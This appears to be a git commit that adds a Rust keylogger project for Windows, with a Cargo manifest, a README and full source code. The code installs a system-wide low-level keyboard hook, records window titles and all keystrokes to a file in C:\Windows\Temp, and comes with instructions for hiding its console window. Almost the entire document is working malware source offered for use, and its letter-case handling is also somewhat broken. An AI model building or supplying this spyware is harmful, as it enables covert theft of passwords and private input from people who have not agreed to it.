Keylogger using SetWindowsHookEx

Whitecat18 · Whitecat18 · commit d769adf78796 · 2024-12-22T02:14:55.000+05:30
This keylogger captures keystrokes system-wide by setting a low-level keyboard hook to intercept and log all keyboard events.
diff --git a/Keyloggers/SetWindowsHookEx/Cargo.toml b/Keyloggers/SetWindowsHookEx/Cargo.toml
@@ -0,0 +1,7 @@
+[package]
+name = "SetWindowsHookEx"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
+winapi = { version = "0.3.9", features = ["winuser","setupapi","dbghelp","wlanapi","winnls","wincon","fileapi","sysinfoapi", "fibersapi","debugapi","winerror", "wininet" , "winhttp" ,"synchapi","securitybaseapi","wincrypt","psapi", "tlhelp32", "heapapi","shellapi", "memoryapi", "processthreadsapi", "errhandlingapi", "winbase", "handleapi", "synchapi"] }
diff --git a/Keyloggers/SetWindowsHookEx/README.md b/Keyloggers/SetWindowsHookEx/README.md
@@ -0,0 +1,15 @@
+# Keylogger using SetWindowsHookEx
+
+Written an keylogger for Windows using the SetWindowsHookEx fn. The keylogger captures keystrokes system-wide by setting a low-level keyboard hook to intercept and log all keyboard events.
+
+> Uncomment the `#![windows_subsystem = "windows"]` line to run without console.
+
+# Proofs 
+![proof_pic](./setwindowshook.png)
+
+# Credits & Resources
+
+* https://www.synacktiv.com/en/publications/writing-a-decent-win32-keylogger-13
+* https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection
+
+Author: [@5mukx](https://x.com/5mukx)
diff --git a/Keyloggers/SetWindowsHookEx/setwindowshook.png b/Keyloggers/SetWindowsHookEx/setwindowshook.png
diff --git a/Keyloggers/SetWindowsHookEx/src/main.rs b/Keyloggers/SetWindowsHookEx/src/main.rs
@@ -0,0 +1,250 @@
+/*
+    KeyLogger using SetWindowsHookExW
+    Author: @5mukx
+*/
+
+//===> Uncomment the following line to hide the console window 
+
+// #![windows_subsystem = "windows"]
+
+use std::ptr::null_mut;
+use std::fs::OpenOptions;
+use std::io::Write;
+use winapi::shared::minwindef::{LPARAM, LRESULT, WPARAM};
+use winapi::um::libloaderapi::GetModuleHandleW;
+
+use winapi::um::winuser::{
+    CallNextHookEx, DispatchMessageW, GetForegroundWindow, GetKeyState, GetMessageW, GetWindowTextW, TranslateMessage, UnhookWindowsHookEx, 
+    HC_ACTION, KBDLLHOOKSTRUCT, VK_ADD, VK_BACK, VK_CANCEL, VK_CAPITAL, VK_CLEAR, VK_CONTROL, VK_DECIMAL, VK_DELETE, VK_DIVIDE, VK_DOWN, VK_END, 
+    VK_ESCAPE, VK_HELP, VK_HOME, VK_INSERT, VK_LCONTROL, VK_LEFT, VK_LSHIFT, VK_LWIN, VK_MENU, VK_MULTIPLY, VK_NEXT, VK_NUMLOCK, VK_NUMPAD0, VK_NUMPAD1, 
+    VK_NUMPAD2, VK_NUMPAD3, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9, VK_OEM_1, VK_OEM_2, VK_OEM_3, VK_OEM_4, VK_OEM_5, 
+    VK_OEM_6, VK_OEM_7, VK_OEM_CLEAR, VK_OEM_COMMA, VK_OEM_MINUS, VK_OEM_PERIOD, VK_OEM_PLUS, VK_PAUSE, VK_PLAY, VK_PRINT, VK_PRIOR, VK_RCONTROL, VK_RETURN,
+    VK_RIGHT, VK_RSHIFT, VK_RWIN, VK_SCROLL, VK_SELECT, VK_SEPARATOR, VK_SHIFT, VK_SLEEP, VK_SNAPSHOT, VK_SPACE, VK_SUBTRACT, VK_TAB, VK_UP, VK_ZOOM, WM_KEYDOWN,
+    WM_KEYUP, WM_SYSKEYDOWN
+};
+
+static mut SHIFT: bool = false;
+static mut LAST_WINDOW: *mut winapi::shared::windef::HWND__ = std::ptr::null_mut();
+static mut KEYBOARD_HOOK: winapi::shared::windef::HHOOK = std::ptr::null_mut();
+
+unsafe extern "system" fn hook_procedure(n_code: i32, w_param: WPARAM, l_param: LPARAM) -> LRESULT {
+    if n_code == HC_ACTION {
+        let p = &*(l_param as *const KBDLLHOOKSTRUCT);
+        if w_param == WM_KEYDOWN as usize  || w_param == WM_SYSKEYDOWN as usize {
+            let caps = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
+
+            let current_window = GetForegroundWindow();
+            if current_window != LAST_WINDOW {
+                LAST_WINDOW = current_window;
+
+                let mut window_title = vec![0u16; 256];
+                GetWindowTextW(current_window, window_title.as_mut_ptr(), 256);
+                let title = String::from_utf16_lossy(&window_title);
+                log_to_file(&format!("\n\n[Window: {}]\n", title.trim_end_matches('\0')));
+            }
+
+            let key = match p.vkCode as i32 {
+                0x41 => if caps { if SHIFT { "A" } else { "a" } } else { if SHIFT { "A" } else { "a" } },
+                0x42 => if caps { if SHIFT { "B" } else { "b" } } else { if SHIFT { "B" } else { "b" } },
+                0x43 => if caps { if SHIFT { "c" } else { "C" } } else { if SHIFT { "C" } else { "c" } },
+                0x44 => if caps { if SHIFT { "d" } else { "D" } } else { if SHIFT { "D" } else { "d" } },
+                0x45 => if caps { if SHIFT { "e" } else { "E" } } else { if SHIFT { "E" } else { "e" } },
+                0x46 => if caps { if SHIFT { "f" } else { "F" } } else { if SHIFT { "F" } else { "f" } },
+                0x47 => if caps { if SHIFT { "g" } else { "G" } } else { if SHIFT { "G" } else { "g" } },
+                0x48 => if caps { if SHIFT { "h" } else { "H" } } else { if SHIFT { "H" } else { "h" } },
+                0x49 => if caps { if SHIFT { "i" } else { "I" } } else { if SHIFT { "I" } else { "i" } },
+                0x4A => if caps { if SHIFT { "j" } else { "J" } } else { if SHIFT { "J" } else { "j" } },
+                0x4B => if caps { if SHIFT { "k" } else { "K" } } else { if SHIFT { "K" } else { "k" } },
+                0x4C => if caps { if SHIFT { "l" } else { "L" } } else { if SHIFT { "L" } else { "l" } },
+                0x4D => if caps { if SHIFT { "m" } else { "M" } } else { if SHIFT { "M" } else { "m" } },
+                0x4E => if caps { if SHIFT { "n" } else { "N" } } else { if SHIFT { "N" } else { "n" } },
+                0x4F => if caps { if SHIFT { "o" } else { "O" } } else { if SHIFT { "O" } else { "o" } },
+                0x50 => if caps { if SHIFT { "p" } else { "P" } } else { if SHIFT { "P" } else { "p" } },
+                0x51 => if caps { if SHIFT { "q" } else { "Q" } } else { if SHIFT { "Q" } else { "q" } },
+                0x52 => if caps { if SHIFT { "r" } else { "R" } } else { if SHIFT { "R" } else { "r" } },
+                0x53 => if caps { if SHIFT { "s" } else { "S" } } else { if SHIFT { "S" } else { "s" } },
+                0x54 => if caps { if SHIFT { "t" } else { "T" } } else { if SHIFT { "T" } else { "t" } },
+                0x55 => if caps { if SHIFT { "u" } else { "U" } } else { if SHIFT { "U" } else { "u" } },
+                0x56 => if caps { if SHIFT { "v" } else { "V" } } else { if SHIFT { "V" } else { "v" } },
+                0x57 => if caps { if SHIFT { "w" } else { "W" } } else { if SHIFT { "W" } else { "w" } },
+                0x58 => if caps { if SHIFT { "x" } else { "X" } } else { if SHIFT { "X" } else { "x" } },
+                0x59 => if caps { if SHIFT { "y" } else { "Y" } } else { if SHIFT { "Y" } else { "y" } },
+                0x5A => if caps { if SHIFT { "z" } else { "Z" } } else { if SHIFT { "Z" } else { "z" } },
+                // Handle other keys as needed...
+                
+                // sleep key 
+                VK_SLEEP => "[SLEEP]",
+
+                // number keyboard 
+                VK_NUMPAD0 => "0",
+                VK_NUMPAD1 => "1",
+                VK_NUMPAD2 => "2",
+                VK_NUMPAD3 => "3",
+                VK_NUMPAD4 => "4",
+                VK_NUMPAD5 => "5",
+                VK_NUMPAD6 => "6",
+                VK_NUMPAD7 => "7",
+                VK_NUMPAD8 => "8",
+                VK_NUMPAD9 => "9",
+                VK_MULTIPLY => "*",
+                VK_ADD => "+",
+                VK_SEPARATOR => "-",
+                VK_SUBTRACT => "-",
+                VK_DECIMAL => ".",
+                VK_DIVIDE => "/",
+
+
+                // Function Keys
+                0x70 => "[F1]",
+                0x71 => "[F2]",
+                0x72 => "[F3]",
+                0x73 => "[F4]",
+                0x74 => "[F5]",
+                0x75 => "[F6]",
+                0x76 => "[F7]",
+                0x77 => "[F8]",
+                0x78 => "[F9]",
+                0x79 => "[F10]",
+                0x7A => "[F11]",
+                0x7B => "[F12]",
+                0x7C => "[F13]",
+                0x7D => "[F14]",
+                0x7E => "[F15]",
+                0x7F => "[F16]",
+                0x80 => "[F17]",
+                0x81 => "[F18]",
+                0x82 => "[F19]",
+                0x83 => "[F20]",
+                0x84 => "[F21]",
+                0x85 => "[F22]",
+                0x86 => "[F23]",
+                0x87 => "[F24]",
+
+                // keys
+                VK_NUMLOCK => "[NUM-LOCK]",
+                VK_SCROLL => "[SCROLL-LOCK]",
+                VK_BACK => "[BACK]",
+                VK_TAB => "[TAB]",
+                VK_CLEAR => "[CLEAR]",
+                VK_RETURN => "[ENTER]",
+                VK_SHIFT => "[SHIFT]",
+                VK_CONTROL => "[CTRL]",
+                VK_MENU => "[ALT]",
+                VK_PAUSE => "[PAUSE]",
+                VK_CAPITAL => "[CAP-LOCK]",
+                VK_ESCAPE => "[ESC]",
+                VK_SPACE => "[SPACE]",
+                VK_PRIOR => "[PAGEUP]",
+                VK_NEXT => "[PAGEDOWN]",
+                VK_END => "[END]",
+                VK_HOME => "[HOME]",
+                VK_LEFT => "[LEFT]",
+                VK_UP => "[UP]",
+                VK_RIGHT => "[RIGHT]",
+                VK_DOWN => "[DOWN]",
+                VK_SELECT => "[SELECT]",
+                VK_PRINT => "[PRINT]",
+                VK_SNAPSHOT => "[PRTSCRN]",
+                VK_INSERT => "[INS]",
+                VK_DELETE => "[DEL]",
+                VK_HELP => "[HELP]",
+
+
+                // Number Keys with shift
+                0x30 => if SHIFT { "!" } else { "1" },
+                0x31 => if SHIFT { "@" } else { "2" },
+                0x32 => if SHIFT { "#" } else { "3" },
+                0x33 => if SHIFT { "$" } else { "4" },
+                0x34 => if SHIFT { "%" } else { "5" },
+                0x35 => if SHIFT { "^" } else { "6" },
+                0x36 => if SHIFT { "&" } else { "7" },
+                0x37 => if SHIFT { "*" } else { "8" },
+                0x38 => if SHIFT { "(" } else { "9" },
+                0x39 => if SHIFT { ")" } else { "0" },
+                        
+                // Windows Keys
+                VK_LWIN => "[WIN]",
+                VK_RWIN => "[WIN]",
+                VK_LSHIFT => "[SHIFT]",
+                VK_RSHIFT => "[SHIFT]",
+                VK_LCONTROL => "[CTRL]",
+                VK_RCONTROL => "[CTRL]",
+                        
+                // OEM Keys with shift 
+                VK_OEM_1 => if SHIFT { ":" } else { ";" },
+                VK_OEM_PLUS => if SHIFT { "+" } else { "=" },
+                VK_OEM_COMMA => if SHIFT { "<" } else { "," },
+                VK_OEM_MINUS => if SHIFT { "_" } else { "-" },
+                VK_OEM_PERIOD => if SHIFT { ">" } else { "." },
+                VK_OEM_2 => if SHIFT { "?" } else { "/" },
+                VK_OEM_3 => if SHIFT { "~" } else { "`" },
+                VK_OEM_4 => if SHIFT { "{" } else { "[" },
+                VK_OEM_5 => if SHIFT { "\\" } else { "|" },
+                VK_OEM_6 => if SHIFT { "}" } else { "]" },
+                VK_OEM_7 => if SHIFT { "\"" } else { "'" },
+        
+                
+                // Action Keys
+                VK_PLAY => "[PLAY]",
+                VK_ZOOM => "[ZOOM]",
+                VK_OEM_CLEAR => "[CLEAR]",
+                VK_CANCEL => "[CTRL-C]",
+
+                _ => "[UNKNOWN]",
+            };
+
+            log_to_file(key);
+        }
+
+        if w_param == WM_KEYUP as usize && (p.vkCode == VK_LSHIFT as u32 || p.vkCode == VK_RSHIFT as u32) {
+            SHIFT = false;
+        }
+    }
+
+    CallNextHookEx(KEYBOARD_HOOK, n_code, w_param, l_param)
+}
+
+fn log_to_file(content: &str) {
+    if let Ok(mut file) = OpenOptions::new().create(true).append(true).open("C:\\Windows\\Temp\\log.txt") {
+        writeln!(file, "{}", content).unwrap();
+    }
+}
+
+unsafe fn unhook_keyboard() {
+    UnhookWindowsHookEx(KEYBOARD_HOOK);
+}
+
+fn main(){
+    unsafe{
+        println!("[*] Logger started");
+
+        let h_instance = GetModuleHandleW(null_mut());
+
+        if h_instance.is_null() {
+            println!("Failed to get module handle");
+            return;
+        }
+
+        KEYBOARD_HOOK = winapi::um::winuser::SetWindowsHookExW(
+            winapi::um::winuser::WH_KEYBOARD_LL,
+            Some(hook_procedure),
+            h_instance,
+            0,
+        );
+
+        if KEYBOARD_HOOK.is_null() {
+            println!("Failed to set hook");
+            return;
+        }
+
+        println!("[*] KeyCapture started handler set");
+
+        let mut msg = std::mem::zeroed();
+        while GetMessageW(&mut msg, null_mut(), 0, 0) > 0{
+            TranslateMessage(&msg);
+            DispatchMessageW(&msg);
+        }
+
+        unhook_keyboard();
+    }
+}
